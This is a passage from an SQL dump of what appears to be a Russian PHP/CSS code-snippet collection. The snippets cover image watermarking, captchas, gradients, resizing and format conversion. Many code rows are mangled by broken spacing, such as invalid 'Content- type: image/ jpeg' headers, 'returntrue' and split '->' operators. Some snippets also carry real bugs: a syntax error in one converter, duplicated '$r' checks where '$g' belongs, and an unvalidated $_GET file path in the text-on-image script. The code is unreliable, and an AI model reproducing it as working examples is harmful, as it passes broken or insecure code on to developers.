$xminus = $img_x - 130 ; $box = imagettftext ( $src_img , $height_font ,
$angle ,$xminus , $img_y - 8, $color , $font_file , $text ); //Вывод
изображенияв браузер if( $size_img [ 2]== 2 ) { header
("Content- type:image/ jpeg" ); imagejpeg ( $src_img ); }
elseif ( $size_img [2 ]== 1 ) { header ("Content- type:image/
gif" ); imagegif ( $src_img ); } elseif ( $size_img [2 ]== 3 ) {
header ("Content- type:image/ png" ); imagepng ( $src_img
); } returntrue; } ?>','files_5433_5070_',151),(210,20,'Путь к
смайлам','Путь к смайлам будет
вида\r\n/папка_со_смайлами/смайлпак/смайл.расширение\r\nСписок
смайлов хранится в файле smiles.list (название
можно менять), который находится там где
и смайлы.','<?php class Smiles { private $pack = \'default\';
//смайлпак private $dir = \'/smiles/\'; private $smiles_list =
\'smiles.list\'; //список смайлов private $data = array();
public function __construct($config = array()) { foreach($config as
$key=>$val) $this->$key = $val; $file =
file($_SERVER[\'DOCUMENT_ROOT\'].$this->dir.$this->pack.\'/\'.$this->smiles_list);
$rows = sizeof($file); list($delimiter, $ext) = explode(\'###\', $file[0]);
for($i = 1; $i < $rows; $i++) { $arr = explode($delimiter,
$file[$i]); foreach($arr as $val) { $val = trim($val);
$this->data[$val] = \'<img
src="\'.$this->dir.$this->pack.\'/\'.$i.\'.\'.$ext.\'"
alt="\'.$val.\'"/>\'; } } } public function
replace($text) { return strtr($text, $this->data); } }
?>','files_3140_2882_',151),(211,20,'Проверяем,
подключена- ли библиотека GD...','Проверяем,
подключена- ли библиотека GD...','<?
$extension="gd"; # имя библиотеки if
(extension_loaded ($extension)) { echo "Библиотека
". $extension." - подключена"; } else
{ echo "Библиотека ". $extension." -
не подключена"; }
?>','files_5507_4566_',151),(212,20,'Перевод цвета
изображения в чёрно-белоe','Перевод цвета
изображения в черно-белоe','<?php $im =
ImageCreateFromJpeg ("file.jpg"); $size = getimagesize
("file.jpg"); $new = imagecreate ($size[0], $size [1]);
$black = imagecolorallocate ($new, 0, 0, 0); $white = imagecolorallocate
($new, 0xFF, 0xFF, 0xFF); for ($i = 1; $i < $size [0]; $i++) { for
($j = 1; $j < $size [1]; $j++) { $rgb = ImageColorAt ($im, $i, $j);
$r = ($rgb >> 16) & 0xFF; $g = ($rgb >>
8) & 0xFF; $b = $rgb & 0xFF; if ( $r < 128
&& $r < 128 && $b < 128 ) {
imagesetpixel ($new, $i, $j, $black); } elseif ( $r >= 128
&& $r >= 128 && $b >= 128 ) {
imagesetpixel ($new, $i, $j, $white); } } } header("Content- type:
image/ jpeg"); imagejpeg ($new, null, 100); imagedestroy ($im);
imagedestroy ($new);
?>','files_4831_2946_',151),(213,20,'Создание
изображений с областями
прозрачности','Создание изображений с
областями прозрачности','<?php $im =
imageCreate (620, 241); $t = imageColorAllocate ($im, 0, 0, 0); $c =
imageColorAllocate ($im, 0, 255, 0); imageFill ($im, 0, 0, $c);
imageFilledRectangle ($im, 180, 20, 420, 220, $t); imageColorTransparent
($im, $t); Header("Content- type: image/ png");
imagePng($im);?>','files_3025_1611_',151),(214,20,'Анимационный
текст (GIF!)','Создастся анимация с
текстом\r\nprowm.ml.\r\nТребуется\r\nбиблиотека
Image Magick','<?php $animation = new Imagick (); $animation-
>setFormat (\'gif\'); $color = new ImagickPixel (\'white\');
$color->setColor (\'white\'); $string = \'prowm.ml\'; $draw = new
ImagickDraw (); //$draw->setFont (\'Arial\'); for ($i = 0; $i
<= strlen ($string); $i++) { $part = substr ($string, 0, $i);
$animation- >newImage (100, 40, $color); $animation-
>annotateImage ($draw, 10, 20, 0, $part); $animation-
>setImageDelay (30); } //$draw->setFont (\'Arial-Bold\');
$draw- >setTextDecoration (imagick::DECORATION_UNDERLINE);
$animation- >newImage (100, 40, $color); $animation-
>annotateImage ($draw, 10, 20, 0, $string); $animation-
>setImageDelay (70); header(\'Content- Type: image/ gif\'); echo
$animation- >getImagesBlob();
?>','files_5291_3222_',151),(215,20,'Увеличение
картинки со сглаживанием','Увеличивает
картинку на 2000х2000','<?php $from = imageCreateFromJpeg
("sample2.jpg"); $to = imageCreateTrueColor (2000, 2000);
imageCopyResampled ( $to, $from, 0, 0, 0, 0, imageSX ($to), imageSY ($to),
imageSX ($from), imageSY ($from) ); header("Content- type: image/
jpeg"); imageJpeg($to);
?>','files_1595_3644_',151),(216,20,'Генерация
случайного числа на картинке','Генерация
случайного числа на картинке','<?php /*
*Генерация случайного числа на картинке
*автор: nc_soft *25.08.07 */ $rand = mt_rand ( 10000 , 99999);
//случайное число $img = "fone.jpg" ;
//фон (jpg файл) 90*68 $pic = imageCreateFromjpeg ( $img );
//создаем картинку $size = 24 ; //размер шрифта
$angle = rand ( -10 , 10 ); //угол поворота $x = rand( -2 , 15
); //смещение по оризонтали $y = rand( 35 , 60 );
//смещение по вертикали $color = rand ( 1000, 9999999);
//случайный цвет $font = \'times\' ; //шрифт
ImageTTFtext( $pic , $size , $angle , $x , $y , $color , $font , $rand );
/* imagettftext(image, size, angle, x, y, col, fontfile, text) Итак,
size — размер шрифта текста в пикселях, angle
— угол наклона текста в градусах (0 —
нормальный горизонтальный вывод слева
направо, 90, к примеру — снизу вверх, и так
далее по кругу против часовой стрелки).
Параметр fontfile — путь к самому .ttf файлу
шрифта и, наконец, text — строка,
представляющая выводимый текст, функция
предусматривает возможность переноса
строк, тоесть удобна для вывода именно
текста. Для переноса нужно вставить
последовательность символов \\n\\r
(перенос строки и возврат каретки). */
//выдача header( \'Content-type:image/jpeg\' ); imagejpeg ( $pic );
imagedestroy( $pic );
?>','files_1363_5279_',151),(217,20,'Конвертирование
jpg в html','Конвертирование jpg в html с
100%\r\nсохранением качества
картинки.\r\n(размер знчительно
увеличеваеться)','<? $imgjpg = \'pic.jpg\' ; // имя
jpg картинки set_time_limit ( 0 ); $start = time( \'s\' ); $fo =
fopen ( $imgjpg . \'.html\' ,\'w\' ); fwrite ( $fo , \'<table
border=0 cellspacing=0 {width: 1px;height: 1px;}</ style>\'
); $im = ImageCreateFromjpeg ( $imgjpg ); $sim =array ( 0 ,1 ,2 ,3 ,4 ,5 ,6
,7 ,8 ,9 ,\'A\' ,\'B\' ,\'C\' , \'D\',\'E\' , \'F\' ); function to16( $de )
{ global $sim ; $ans = \'\'; $ans .= $sim [( $de - $de %16 )/ 16]; $ans .=
$sim [ $de %16]; return $ans ; } $x = imagesx( $im ); $y = imagesy( $im );
for( $j = 0 ;$j <$y ;$j ++) {fwrite ( $fo ,\'<tr>\' );
for( $i = 0; $i < $x ; $i ++) { $rgb = ImageColorAt( $im , $i , $j
); $r = to16 (($rgb >> 16) & 0xFF ); $g = to16 ((
$rgb >> 8 ) & 0xFF ); $b = to16( $rgb & 0xFF
); fwrite( $fo ,"<td bgcolor=$r$g
$b></td>" ); } fwrite( $fo ,
\'</tr>\' ); } fclose ( $fo ); echo \'Законченно
за: \' .( time( \'s\' )- $start ). \' секунд
(ы)<br><a href="\' . $imgjpg .
\'.html">Открыть</a>\' ;
?>','files_5426_5556_',151),(218,20,'Правильный
ресайз прозрачных картинок на PHP','Я думаю
ни для кого не секрет, что в PNG
реализована поддержка альфа канала. То
есть цвет задается четырьмя
компонентами: R (красный), G (зеленый), B
(синий), альфа. Альфа канал задает
прозрачность конкретного пикселя.\r\nА
вот GIF-е прозрачность реализована
по-другому. В нем один из используемых
цветов (любой, на выбор автора картинки)
объявляется как прозрачный, и при
отрисовке данной картинки пиксели
имеющие данный цвет заменяются
прозрачными пикселями.','Ресайзим PNG
<?php // Путь и имя изображения $src =
\'/imgs/izobrazhenie.png\'; $source_resource = imagecreatefrompng($src);
//Создаем полноцветное изображение
$destination_resource = imagecreatetruecolor($newwidth, $newheight);
//Отключаем режим сопряжения цветов
imagealphablending($destination_resource, false); //Включаем
сохранение альфа канала
imagesavealpha($destination_resource, true); //Ресайз
imagecopyresampled($destination_resource, $source_resource, 0, 0, 0, 0,
$newwidth, $newheight, $oldwidth, $oldheight); //Сохранение
imagepng($destination_resource, $destination_path); ?>
Ресайзим GIF <?php // Путь и имя
изображения $src = \'/imgs/izobrazhenie.gif\'; $source_resource
= imagecreatefromgif($src); //Создаем изображение,
кстати для GIF можно использовать обычную
imagecreate, но лучше все таки везде
использовать imagecreatetruecolor $destination_resource =
imagecreatetruecolor($newwidth, $newheight); //Получаем
прозрачный цвет $transparent_source_index =
imagecolortransparent($source_resource); //Проверяем
наличие прозрачности if($transparent_source_index !=
-1){ $transparent_color = imagecolorsforindex($source_resource,
$transparent_source_index); //Добавляем цвет в
палитру нового изображения, и
устанавливаем его как прозрачный
$transparent_destination_index = imagecolorallocate($destination_resource,
$transparent_color[\'red\'], $transparent_color[\'green\'],
$transparent_color[\'blue\']); imagecolortransparent($destination_resource,
$transparent_destination_index); //На всякий случай
заливаем фон этим цветом
imagefill($destination_resource, 0, 0, $transparent_destination_index); }
//Ресайз imagecopyresampled($destination_resource, $source_resource,
0, 0, 0, 0, $newwidth, $newheight, $oldwidth, $oldheight);
//Сохранение imagegif($destination_resource, $destination_path);
?>','files_5534_5161_',151),(219,20,'Градиент на
фон','Простой фон, типо звезды, можете\r\nпо
издеватся с перемеными, кординаты
зведы\r\nх,у , цвет с, можно зделать в виде
отдельного\r\nпункта, изменив длину цикла
i<180, и т.д','public void paint(Graphics g) { grad
(g,50,50,0,255); } static void grad (Graphics g,int x,int y,int n,int c) {
for(int i=0;i<180;i++) { g.setColor(0,c--,c);
g.drawRect(x--,y--,n+=2,n); }','files_3641_1525_',151),(220,20,'Класс
наложения копирайта на
изображение','Класс наложения копирайта
на изображение','<?php class CopyrightImage { var
$filename; var $copyname; var $src_w; var $src_h; var $dest_w; var $dest_h;
var $src_img; var $dest_img; function __construct($fname, $copyfname) {
$isa = getimagesize($fname); $icsa = getimagesize($copyfname);
$this->filename = $fname; $this->copyname = $copyfname;
$this->src_w = $isa[0]; $this->src_h = $isa[1];
$this->dest_w = $icsa[0]; $this->dest_h = $icsa[1];
if($isa[2]==3) $this->src_img =
imagecreatefrompng($this->filename); if($isa[2]==2)
$this->src_img = imagecreatefromjpeg($this->filename);
if($isa[2]==1) $this->src_img =
imagecreatefromgif($this->filename); if($icsa[2]==3)
$this->dest_img = imagecreatefrompng($this->copyname);
if($icsa[2]==2) $this->dest_img =
imagecreatefromjpeg($this->copyname); if($icsa[2]==1)
$this->dest_img = imagecreatefromgif($this->copyname); }
function copyright() { $dest_w_old=$this->dest_w;
$dest_h_old=$this->dest_h; if
(ceil($this->src_w/5)<=$this->dest_w) { $coef
=ceil($this->dest_w/$this->src_w); $this->dest_w
=ceil($this->dest_w/($coef)); $this->dest_h
=ceil($this->dest_h/($coef)); }
$x=$this->src_w-$this->dest_w;
$y=$this->src_h-$this->dest_h;
imagecopyresampled($this->src_img, $this->dest_img, $x, $y,
0, 0, $this->dest_w, $this->dest_h, $dest_w_old,
$dest_h_old); } function conc() { header(\'Content-Type: image/png\');
imagepng($this->src_img); } function __destruct() {
imagedestroy($this->src_img); imagedestroy($this->dest_img);
} } ?> Пример использования: <?php $object
= new CopyrightImage(\'image.jpg\', \'copyright.png\');
$object->copyright(); $object->conc();
?>','files_3259_2533_',151),(221,20,'Нанести текст на
картинку','Нанести текст на
картинку','<?php $img = $_GET[\'img\']; $copy =
strtoupper($_SERVER[\'HTTP_HOST\']); if ($img == "")
exit(); writeTextOnImage($img, "Www.MySuperSite.Com");
function writeTextOnImage($filename, $text) { if ($filename ==
"") exit(); $size_img = getimagesize($filename); if
($size_img[2]==2) $src_img = imagecreatefromjpeg($filename); else if
($size_img[2]==1) $src_img = imagecreatefromgif($filename); else if
($size_img[2]==3) $src_img = imagecreatefrompng($filename); if (!$src_img)
exit(); // Назначаем цвет $color =
imagecolorallocatealpha($src_img, 255, 255, 0, 10); $font_file =
"impact.ttf"; $img_x = imagesx($src_img); $img_y =
imagesy($src_img); $height_font = 13; $angle = 0; // Запись
текста поверх изображения $xminus = $img_x - 130;
$box = imagettftext($src_img, $height_font, $angle, $xminus, $img_y - 8,
$color, $font_file, $text); // Вывод изображения в
браузер if ($size_img[2]==2) { header ("Content-type:
image/jpeg"); imagejpeg($src_img); } else if ($size_img[2]==1) {
header ("Content-type: image/gif"); imagegif($src_img); }
else if ($size_img[2]==3) { header ("Content-type:
image/png"); imagepng($src_img); } return true; }
?>','files_2353_3445_',151),(222,20,'3D
Capthca','Реализация\r\nкапчи, все четко и
ничего лишнего, в стиле','<?php /* 3D Captcha */
/* Реализация капчи, все четко и ничего
лишнего, в стиле ооп */ $capthca = new Capthca3d();
$capthca->render(); class Capthca3d{ const CHARS =
\'WEafRTYIPAGHJKXBNM3479j\'; protected $hypot = 8; protected $image = null;
protected $text = \'\'; public function __construct() { $this->time
= microtime(true); $this->generateCode(); } protected function
generateCode() { $chars = self::CHARS; for($i =0; $i<3; $i++){
$this->text .= $chars{ mt_rand(0,22)}; } } public function getText()
{ return $this->text; } protected function getProection($x1,$y1,$z1)
{ $x = $x1 * $this->hypot; $y = $z1 * $this->hypot; $z = -$y1
* $this->hypot; $xx = 0.707106781187; $xy = 0; $xz =
-0.707106781187; $yx = 0.408248290464; $yy = 0.816496580928; $yz =
0.408248290464; $cx = $xx*$x + $xy*$y + $xz*$z; $cy = $yx*$x + $yy*$y +
$yz*$z+ 20 * $this- >hypot; return array( \'x\' => $cx, \'y\'
=> $cy ); } function zFunction($x,$y){ $z =
imagecolorat($this->image,$y/2,$x/2)>0? 2.6:0; if( $z != 0 ){
$z += mt_rand(0,60)/100; } $z += 1.4 * sin(($x+$this-
>startX)*3.141592654/15)*sin(($y+$this-
>startY)*3.141592654/15); return $z; } public function render() {
$xx =30; $yy =60; $this->image = imageCreateTrueColor($yy *
$this->hypot , $xx * $this->hypot); $whiteColor =
imageColorAllocate($this- >image,255,255,255);
imageFilledRectangle($this->image,0,0,$yy * $this->hypot ,
$xx * $this->hypot,$whiteColor); $textColor =
imageColorAllocate($this- >image,0,0,0);
imageString($this->image, 5, 3, 0, $this->text, $textColor);
$this->startX = mt_rand(0,$xx); $this->startY =
mt_rand(0,$yy); $coordinates = array(); for($x = 0; $x < $xx + 1;
$x++){ for($y = 0; $y < $yy + 1; $y++){ $coordinates[$x][$y] =
$this->getProection($x, $y,$this->zFunction($x,$y)); } }
for($x = 0; $x < $xx; $x++){ for($y = 0; $y < $yy; $y++){
$coord = array(); $coord[] = $coordinates[$x][$y][\'x\']; $coord[] =
$coordinates[$x][$y][\'y\']; $coord[] = $coordinates[$x+1][$y][\'x\'];
$coord[] = $coordinates[$x+1][$y][\'y\']; $coord[] =
$coordinates[$x+1][$y+1][\'x\']; $coord[] =
$coordinates[$x+1][$y+1][\'y\']; $coord[] = $coordinates[$x][$y+1][\'x\'];
$coord[] = $coordinates[$x][$y+1][\'y\']; $c = (int)
($this->zFunction($x,$y)*32); $linesColor =
imageColorAllocate($this->image, $c, $c, $c);
imageFilledPolygon($this->image, $coord, 4, $whiteColor);
imagePolygon($this->image, $coord, 4, $linesColor); } } $textColor =
imageColorAllocate($this- >image,0,0,0);
imageString($this->image, 5, 3, 0, $this->text, $whiteColor);
imageString($this->image, 1, 3, 0, (microtime
(true)-$this->time), $textColor); header(\'Content-Type:
image/png\'); imagepng($this->image);
imagedestroy($this->image); } }
?>','files_3102_3761_',151),(223,20,'Диаграмма','Маленькая
диаграмма в виде полосски. Через GET
запрос передаем количество процентов,
которое надо зарисовать. Например
rat.php?p=42\r\nЗарисуется 42% полоски.','<?php
//Определяем сколько надо закрасить $p =
(isset($_GET[\'p\']) && $_GET[\'p\']>=0
&& $_GET[\'p\']<=100) ? (int)$_GET[\'p\'] : 50;
//Создаем картинку $image = imagecreate(123, 8);
//Цвет фона $bg = imagecolorallocate ($image, 0, 0, 0);
//Цвет активной части и надписи к-ва % $act =
imagecolorallocate($image, 210, 210, 210); //Цвет пассивной
части $emp = imagecolorallocate($image, 250, 250, 250);
imagefill($image, 0, 0, $bg); imagefilledrectangle($image, 1, 1, 100, 6,
$emp); if($p > 0) imagefilledrectangle($image, 1, 1, $p, 6, $act);
//Пишем к-во % imagestring($image, 1, 102, 0, $p.\'%\', $act);
header(\'Content-type: image/png\'); imagepng($image);
imagedestroy($image);
?>','files_4028_2937_',151),(224,20,'Градиент
CSS','Градиент CSS','background-image:
-webkit-linear-gradient(bottom, #f7773b 0%, #eb5d10 100%);
background-image: -moz-linear-gradient(bottom, #f7773b 0%, #eb5d10 100%);
background-image: -o-linear-gradient(bottom, #f7773b 0%, #eb5d10
100%);','files_2420_5550_',151),(225,20,'Увеличение
картинки со сглаживанием','Увеличение
картинки со сглаживанием.','<?php $from =
imageCreateFromJpeg ("image2.jpg" ); $to =
imageCreateTrueColor (2000 , 2000 ); imageCopyResampled( $to , $from , 0, 0
, 0 , 0 , imageSX ($to ), imageSY( $to ), imageSX( $from ), imageSY ($from
) ); header( "Content- type: image/jpeg" ); imageJpeg(
$to ); ?>','files_5570_3729_',151),(226,20,'конвертер
форматов изображений','конвертер
форматов изображений','<?php /*
*конвертор форматов изображений *автор:
nc_soft *21.09.07 */ //исходник $source=\'kartinka.png\';
//куда сохраняем $destination=\'soxranyaem.gif\';
//создаем изображение $img=imagecreatefrompng($source);
//сохраняем его в gif формате
imagegif($img,$destination); /*краткая запись
imagegif(imagecreatefrompng(\'kartinka.png\'),\'soxranyaem.gif\')
соответственно, для других форматов
используются другие графические функции
imagecreatefrompng imagecreatefromjpeg imagecreatefromgif и imagepng
imagegif imagejpeg ВНИМАНИЕ!! при сохранении в
формате jpeg необходимо учитывать, что у
функции imagejpeg() ТРИ параметра, поэтому
сохранять необходимо так
imagejpeg($img,\'\',$destination); (средний параметр
обозначает качество jpeg в процентах, но
можно и не указывать) */
?>','files_1897_5339_',151),(227,20,'CSS reset - сброс
стиля браузера','Подключая этот стиь вы
сбрасываете все значения CSS "по
умолчанию" любого браузера. Это для
того, чтобы быть уверенными, что стиль
сайта везде отображается одинаково.','html,
body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p,
blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em,
img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u,
i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table,
caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details,
embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby,
section, summary, time, mark, audio, video { margin: 0; padding: 0; border:
0; font-size: 100%; font: inherit; vertical-align: baseline; } /* HTML5
display-role reset for older browsers */ article, aside, details,
figcaption, figure, footer, header, hgroup, menu, nav, section { display:
block; } body { line-height: 1; } ol, ul { list-style: none; } blockquote,
q { quotes: none; } blockquote:before, blockquote:after, q:before, q:after
{ content: \'\'; content: none; } table { border-collapse: collapse;
border-spacing: 0; }','files_4072_5362_',151),(228,20,'Ресайз
TEXTAREA при введении символов','когда
вводишь определенное колличество
переносов строки, то поле ввода
становиться более широкое.','<script
type="text/javascript"> function
resizeTextarea(event, key) { if (event.keyCode == 13) { if (typeof
self.totalEnter != \'number\') { totalEnter = 1; } totalEnter++; if
(totalEnter > 3) { key.rows = key.rows + 1; } } }
</script>','files_3945_5228_',151),(229,20,'Создание
превью для изображений','Создание превью
для изображений','define(\'FILESDIR\', dirname(__FILE__) .
DIRECTORY_SEPARATOR . \'img\' . DIRECTORY_SEPARATOR); $path = FILESDIR .
\'someimage.png\'; $fname = \'someimage\'; if (extension_loaded(\'gd\')) {
$imageSize = getimagesize($path); $types = array(1 => \'gif\',
2=> \'jpg\', 3 => \'png\'); $imageType =
array_key_exists($imageSize[2], $types) ? $types[$imageSize[2]] : FALSE; if
($imageType !== FALSE) { $width = $imageSize[0]; $height = $imageSize[1];
if ($width > 220 || $height > 176) { switch ($imageType) {
case \'gif\': $image = imagecreatefromgif($path); break; case \'jpg\':
$image = imagecreatefromjpeg($path); break; case \'png\': $image =
imagecreatefrompng($path); break; default: } $max = $width > $height
? \'w\' : \'h\'; $new_width = 176; $new_height = 220; if ($max == \'w\'
&& $width > $new_width) $new_height =
intval(($new_width * $height) / $width); if ($max == \'h\'
&& $height > $new_height) $new_width =
intval(($new_height * $width) / $height); $preview =
imagecreate($new_width, $new_height); imagecopyresized($preview, $image, 0,
0, 0, 0, $new_width, $new_height, $width, $height); imagepng($preview,
FILESDIR . $fname . \'_preview.png\'); } }
}','files_4044_5635_',151),(230,20,'Анимируем профильные
карточки с помощью css','Анимируем
профильные карточки с помощью
css','Сегодня мы рассмотрим как можно
применить CSS анимацию в действии. В
данном примере будем использовать
несколько эффектов. Просто наводим мышь
на изображением и видим эффект. Теперь
давайте посмотрим на код, на основе
которого работает демо пример: Основной
HTML и CSS Все эффекты применяются к html коду
одного и того же вида. Вот как он
выглядит: 01 <ul id="[EFFECT]"
class="profiles"> 02 <li>
03 <img class="pic"
src="images/[PIC].jpg" /> 04 <ul
class="info"> 05 <li><a
href="[URL]">[NAME]</a></li>
06 <li>[MAIL]</li> 07
<li>[PHONE]</li> 08 </ul>
09 </li> 10 <!-- More cards -->
11 </ul> Обратите внимание на
маркер [EFFECT], который используется в
атрибуте ID. Таким образом мы можем
применит несколько эффектов к одной и
той же карточке. Это основной html, который
нас может заинтересовать. Теперь давайте
посмотрим на CSS. Я оставил только самое
нужное: 01 .profiles { 02 list-style:none; 03
} 04 .profiles > li { 05 float:left; 06 } 07
.info, .pic { 08 position:absolute; 09 } 10 .info {
11 /* по умолчанию прячем подробную
информацию о изображении */ 12 opacity:0;
13 } Вот и всё. Для просмотра полного CSS и
HTML кода, смотрите исходники. Эффект
простого движения 01 #push .info { 02
transition: all 0.3s; 03 transition-delay:0.2s; 04 } 05
#push .pic { 06 transition: all 0.5s; 07 } 08 /*
показываем информацию */ 09 #push li:hover .info
{ 10 opacity:1; 11 } 12 /* уменьшаем
видимость, поворачиваем и уменьшаем
изображение */ 13 #push li:hover .pic { 14
opacity:0.7; 15 transform: scale(0.7) rotate(10deg); 16 }
Эффект слайда 01 /* по умолчанию,
панель информации смещаем влево */ 02
#slide .info { 03 transition: all 0.3s; 04 transform:
translate(-50px, 0); 05 } 06 #slide .pic { 07 transition:
all 0.3s; 08 } 09 /* при наведении мыши,
показываем блок информации и помещаем на
нужную позицию */ 10 #slide li:hover .info { 11
opacity:1; 12 transform: translate(0, 0); 13 } 14 /*
при наведении мыши, показываем
изображение и помещаем на нужную позицию
*/ 15 #slide li:hover .pic { 16 opacity:0; 17 transform:
translate(50px, 0); 18 } Эффект 3D сальто 01
#flip { 02 perspective: 800px; 03 } 04 05 #flip
.info { 06 transition: all 0.8s; 07 opacity:1; 08
transform-style: preserve-3d; 09 } 10 /* анимируем
текст*/ 11 #flip .info li { 12 transform: rotateY(180deg);
13 } 14 #flip .pic { 15 transition: all 0.8s; 16
backface-visibility: hidden; 17 z-index:999; 18
transform-style: preserve-3d; 19 } 20 /* при наводке
мыши, поворачиваем */ 21 #flip li:hover .info {
22 transform: rotateY(180deg); 23 } 24 /* при
наводке мыши, поворачиваем */ 25 #flip
li:hover .pic { 26 transform: rotateY(180deg); 27 }
Эффект взрыва 01 #explode .info { 02
transition: all 0.7s; 03 transform: scale(0.8); 04 } 05
#explode .pic { 06 transition: all 0.7s; 07 } 08 /*
при наводке мыши, показываем информацию
*/ 09 #explode li:hover .info { 10 opacity:1; 11
transform: scale(1); 12 } 13 /* и обратно */ 14
#explode li:hover .pic { 15 opacity:0; 16 transform:
scale(1.4); 17 } Итог Вот и всё. Четыре
созданных эффекта полностью в вашем
распоряжении. Прелесть в том, что всё это
только средствами CSS.','files_2490_5358_',151),(231,20,'1
картинка равна 4-ем','Кому нибудь может
быть понадобится такой скрипт, которой
смог бы совместить две, три, четыре и
более картинок в одну.','<?
$imname[1]="1.jpg"; // img начальные
$imname[2]="2.jpg"; $imname[3]="3.jpg";
$imname[4]="4.jpg"; $i=\'1\'; while($i<=4) {
$old[$i]=imagecreatefromjpeg($imname[$i]); $w[$i]=imagesx($old[$i]);
$h[$i]=imagesy($old[$i]); $w_new = 500; // размер картинки
$h_new = 500; $i++; } $new = imagecreatetruecolor($w_new, $h_new);
imagecopyresized($new, $old[1], 0, 0, 0, 0, $w_new/2, $h_new/2, $w[1],
$h[1]); imagecopyresized($new, $old[2], $w_new/2, 0, 0, 0, $w_new/2,
$h_new/2, $w[2], $h[2]); imagecopyresized($new, $old[3], 0, $h_new/2, 0, 0,
$w_new/2, $h_new/2, $w[3], $h[3]); imagecopyresized($new, $old[4],
$w_new/2, $h_new/2, 0, 0, $w_new/2, $h_new/2, $w[4], $h[4]); $i=1;
imagejpeg($new,\'123.jpg\'); // img конечное while($i<=4) {
imagedestroy($old[$i]); //чистим память $i++; }
imagedestroy($new); //чистим память
?>','files_5509_5502_',151),(232,20,'Генератор
градиентов','Создаём файл и туда лепим
этот код.\r\nДля примера файл
называется\r\ngradient.php.\r\nПереходим по
ссылке
типа\r\ngradient.php?\r\ntype=g&w=15&h=80&s=F01935&e=08B864\r\nРазсмотрим
что здесь что значит.\r\ntype - тип градиента
(горизонтальный -\r\ng, вертикальный - v - по
умолчанию)\r\nw - ширина картинки. По
умолчанию 60\r\nh - высота картинки. По
умолчанию\r\n100\r\ns - цвет старта. По
умолчанию чёрный\r\ne - цвет конца (не того
что вы\r\nподумали). По умолчанию
белый.','<?php //определяем тип:
вертикальный или горизонтальный $type =
(isset($_GET[\'type\']) && $_GET [\'type\'] == \'g\') ?
\'g\' : \'v\'; //определяем высоту $height =
(isset($_GET[\'h\'])) ? abs ((int)$_GET[\'h\']) : 100;
//определяем ширину $width = (isset($_GET[\'w\'])) ? abs
((int)$_GET[\'w\']) : 60; //определяем цвета $start =
(isset($_GET[\'s\']) && preg_match
(\'#[0-9A-F]{6}#\',$_GET[\'s\'])) ? $_GET[\'s\'] : \'000000\'; $end =
(isset($_GET[\'e\']) && preg_match
(\'#[0-9A-F]{6}#\',$_GET[\'e\'])) ? $_GET[\'e\'] : \'FFFFFF\';
//определяем RGB этих цветов $start_r=
hexdec(substr($start, 0, 2)); $start_g = hexdec(substr($start, 2, 2));
$start_b = hexdec(substr($start, 4, 2)); $end_r = hexdec(substr($end, 0,
2)); $end_g = hexdec(substr($end, 2, 2)); $end_b = hexdec(substr($end, 4,
2)); //создаём картинку $image = imagecreate($width,
$height); //определяем тип и рисуем градиент
if($type == \'g\'){ for($x=0; $x<$width; $x++){ $new_r = $start_r -
intval(($start_r - $end_r) / $width * $x); $new_g = $start_g -
intval(($start_g - $end_g) / $width * $x); $new_b = $start_b -
intval(($start_b - $end_b) / $width * $x); $row_color =
imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, $x, 0,
$x, $height, $row_color); } }else{ for($y=0; $y<$height; $y++){
$new_r = $start_r - intval(($start_r - $end_r) / $height * $y); $new_g =
$start_g - intval(($start_g - $end_g) / $height * $y); $new_b = $start_b -
intval(($start_b - $end_b) / $height * $y); $row_color =
imagecolorresolve($image, $new_r, $new_g, $new_b); imageline($image, 0, $y,
$width, $y, $row_color); } } header(\'Content-type: image/png\');
imagepng($image); imagedestroy($image); //вот и всё
?>','files_2817_2456_',151),(233,20,'Наложение','Наложение
копирайта, или другого своего текста во
все скрипты','<?php $copyright = \'/* ваш
копирайт например "это скрипт васи
пупкина" * /\'; foreach(glob(\'di r/*.php\')as$file) {echo
\'файл\'.$file.\' копирайт=)
наложен<br/>\'; file_put_contents($file,
preg_replace(\'#^<\\?php#\',"<?php \\n".
$copyright."\\n", file_get_contents($file)));} ?
>','files_2713_4933_',151),(234,20,'Перевод цвета
изображения в черно-белое','Перевод цвета
изображения в черно-белое','<?php $im =
ImageCreateFromJpeg("file.jpg"); $size =
getimagesize("file.jpg"); $new = imagecreate($size[0],
$size[1]); $black = imagecolorallocate($new, 0, 0, 0); $white =
imagecolorallocate($new, 0xFF, 0xFF, 0xFF); for ($i = 1; $i <
$size[0]; $i++) { for ($j = 1; $j < $size[1]; $j++) { $rgb =
ImageColorAt($im, $i, $j); $r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> & 0xFF; $b = $rgb & 0xFF; if (
$r < 128 && $r < 128 && $b
< 128 ) { imagesetpixel($new, $i, $j, $black); } elseif ( $r
>= 128 && $r >= 128 && $b
>= 128 ) { imagesetpixel($new, $i, $j, $white); } } }
header("Content-type: image/jpeg"); imagejpeg($new, null,
100); imagedestroy($im); imagedestroy($new);
?>','files_5119_2843_',151),(235,20,'прозрачность
изображения','•opacity:0.25 – определяет
прозрачность изображения. Значения: от 0
до 1.\r\n•filter:alpha(opacity=25) – параметр для Internet
Explorer. Значения: от 0 до
100.\r\n•hspace="" – определяет
дополнительные отступы от изображения
по горизонтали.\r\n•alt="" –
определяет альтернативный текст. Нужно
прописывать даже пустой атрибут.','<img
src="../images/mustang.jpg" width="250"
height="153" alt=""
hspace="47" /> <img
src="../images/mustang.jpg" width="250"
height="153" alt=""
style="opacity:0.25;filter:alpha(opacity=25)"
/>','files_2920_1481_',151),(236,20,'Проверяем,
существует-ли функция
imagecreate():','Проверяем, существует-ли
функция imagecreate():','<?
$function="imagecreate"; # имя функции,
которую будем проверять
if(function_exists($function)) { echo "Функция
".$function."() - существует"; } else
{ echo "Функция ".$function."() - не
существует"; }
?>','files_2770_4138_',151),(237,20,'Ресайз (resize) gif
анимации','Ресайз (resize) gif
анимации','<?php /** * Ресайз (resize) gif
анимации * 08.02.10 */ /* Если использовать GD,
то вы заметите, что ресайза анимашки как
такового не выйдет, будет изменен лишь
первый кадр. На помощь приходит ImageMagick
(http://www.imagemagick.org/) В мануале
http://www.php.net/manual/en/imagick.examples-1.php приведен
пример (смотрите Example #5 Read in GIF image and resize all
frames), который делает косячные анимашки,
поэтому привожу рецепт, который
работает. */ //большая анимашка big.gif $images =
